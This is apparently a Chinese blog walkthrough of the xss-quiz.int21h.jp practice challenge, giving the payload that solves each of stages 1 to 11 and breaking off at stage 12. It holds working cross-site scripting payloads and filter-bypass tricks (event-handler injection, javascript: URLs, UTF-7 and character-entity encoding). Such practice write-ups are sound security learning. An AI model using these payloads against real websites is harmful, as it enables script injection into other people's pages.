xss闯关小游戏

附上网址 https://xss-quiz.int21h.jp/

stage 1

没有过滤直接输入

<script>alert(document.domain);</script>

stage 2

闭合双引号,闭合标签。

" onmouseover=alert(document.domain)>

stage 3

用bp抓一下包,第一个参数过滤了,第二个没有。

p1=123p2=<script>alert(document.domain);</script>

stage 4

第三个参数没有过滤

hackme"> <script> alert(document.doamin);</script>

stage 5

首先要修改输入框的长度限制

"/><script>alert(document.domain);</script><a>"

stage 6

链接

" onmousemove="alert(document.domain)

stage 7

链接
这里的”<>都被转义了

" onmouseover=alert(document.domain)

stage 8

链接
伪协议:

javascript:alert(document.domain);

stage 9

链接
“<>都被转义了,当然也不能用onmouseover和onclick,根据提示,用UTF-7编码解码工具,将” onmousemove=”alert(document.domain)转为UTF-7编码:

p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

这个对使用的IE浏览器有一定的限制,大部分浏览器都已经修复了这个漏洞,但IE7还没有
因为没有IE7,所以这里直接用firebox直接弹框

stage 10

链接
查看源码知道过滤了domain

"><script>alert(document.doadoaminmin)</script><"

stage 11

链接
hint:

"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

过滤了挺多的
1)插入 不可见字符

"><a href="javascri&#09;pt:alert(document.domain);">here</a><"

2)将javascript转化成unicode

"><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(document.domain);">here</a><"
```
# stage 12
[链接](https://xss-quiz.int21h.jp/stage_no012.php?sid=65e080510facb2594e5a8632a3191081fc9bd4fc)
hint:

“s/[\x00-\x20\<>\”\’]//g;”
`

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器